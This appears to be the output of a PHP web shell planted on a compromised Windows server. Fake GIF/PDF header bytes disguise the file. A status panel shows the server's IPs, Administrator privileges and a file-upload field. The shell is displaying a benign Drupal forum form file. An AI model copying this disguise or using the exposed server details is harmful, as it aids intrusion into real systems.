GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/forum/src/Form/ |
Upload File : |
<?php namespace Drupal\forum\Form; use Drupal\Core\Form\FormStateInterface; /** * Base form for container term edit forms. */ class ContainerForm extends ForumForm { /** * Reusable url stub to use in watchdog messages. * * @var string */ protected $urlStub = 'container'; /** * {@inheritdoc} */ public function form(array $form, FormStateInterface $form_state) { $taxonomy_term = $this->entity; // Build the bulk of the form from the parent forum form. $form = parent::form($form, $form_state, $taxonomy_term); // Set the title and description of the name field. $form['name']['#title'] = $this->t('Container name'); $form['name']['#description'] = $this->t('Short but meaningful name for this collection of related forums.'); // Alternate description for the container parent. $form['parent'][0]['#description'] = $this->t('Containers are usually placed at the top (root) level, but may also be placed inside another container or forum.'); $this->forumFormType = $this->t('forum container'); return $form; } /** * {@inheritdoc} */ public function buildEntity(array $form, FormStateInterface $form_state) { $entity = parent::buildEntity($form, $form_state); $entity->forum_container = TRUE; return $entity; } }